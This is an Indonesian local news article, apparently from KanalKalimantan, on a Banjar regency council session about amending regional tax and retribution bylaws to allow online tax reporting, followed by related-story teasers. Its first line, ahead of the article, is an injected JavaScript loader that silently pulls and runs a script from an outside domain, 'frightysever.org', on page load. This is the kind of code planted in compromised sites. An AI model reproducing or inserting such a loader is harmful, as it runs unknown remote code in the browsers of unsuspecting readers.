(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, DPRD Kabupaten Banjar kembali menggelar Rapat Paripurna dengan Agenda Penyampaian Bupati Banjar terhadap Raperda tentang Rancangan Ketiga atas Peraturan Daerah Kabupaten Banjar Nomor 3 Tahun 2011 tentang Pajak Daerah dan Perubahan Kelima Atas Petaruran Daerah Kabupaten Banjar Nomor 6 Tahun 2011 Tentang Retribusi Jasa Umum, Senin (21/1).
Perlu diketahui, berdasarkan peraturan daerah Kabupaten Banjar Nomor 3 Tahun 2011 tentang Pajak Daerah sudah dua kali mengalami perubahan, yaitu peraturan daerah Nomor 13 Tahun 2013 dan peraturan Daerah Kabupaten Banjar No 2 Tahun 2017 tentang Perubahan Kedua Atas Peraturan Daerah Kabupaten Banjar No 3 Tahun 2011 tentang Pajak Daerah, yang didalamnya pengelolaan Pajak Daerah masih secara manual.
Berdasarkan hasil evakuasi BPKP Provinsi Kalsel tentang Penerima Pajak Daerah tahun 2016-2017 dan triwulan 1 Tahun 2018 yang merekomendasikan agar Badan Pendapatan Daerah meningkatkan saran dan prasarana untuk menyediakan pelayanan berbasis online. Mengingat luasnya wilayah Kabupaten Banjar dan semakin majunya teknologi informatika, dan untuk mempermudah akses pelayanan kepada masyarakat serta untuk meningkatkan Pendapatan Asli Daerah, maka diperlukan pengelolaan pajak daerah berbasis website.
“Maksut dibentuknya peraturan daerah ini adalah untuk memberikan dasar dan kewenangan pemerintah Kabupaten Banjar dalam menerapkan sistem informasi manajemen pelaporan data transaksi usaha wajib pajak secara onlone, ” jelas Wakil Ketua DPRD Banjar Siti Zulaikha.
Lebih jauh praksi dari Partai Persatuan Pembangunan tersebut menjelaskan, adapun tujuan dibentuknya peraturan daerah ini untuk meningkatkan pengawasan atas pelaporan wajib pajak, percepatan pelaporan data penerimaan pembayaran pajak subyek pajak, meningkatkan akurasi data penerimaan subjek pajak, memudahkan wajib pajak dalam menghitung besar pajak yang harus disetorkan dan meningkatkan efisiensi dalam pemungutan pajak.
Masih ditempat yang sama seusai Rapat paripurna Bupati Banjar KH Khalilurraman mengatakan, tujuan dari perubahan perda tersebut merupakan tidak lain untuk meningkatkan pendapatan daerah baik dari sektor retribusi hingga pajak daerah. Ketika ditanya kanal kalimantan mengenai berapa besaran persen yang dinaikan untuk retribusi dan pajak, Bupati Banjar masih memikirkan apakah akan ada perubahan, namun yang pasti perubahan terjadi pada peraturan.
“Semua itu tidak lain untuk meningkatkan Pendapatan Daerah, untuk besaran kenaikan itu masih belum, kita coba lihat nanti,” ujar Bupati Khalilurrahman. (rendy)
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More
KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More
KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More
This website uses cookies.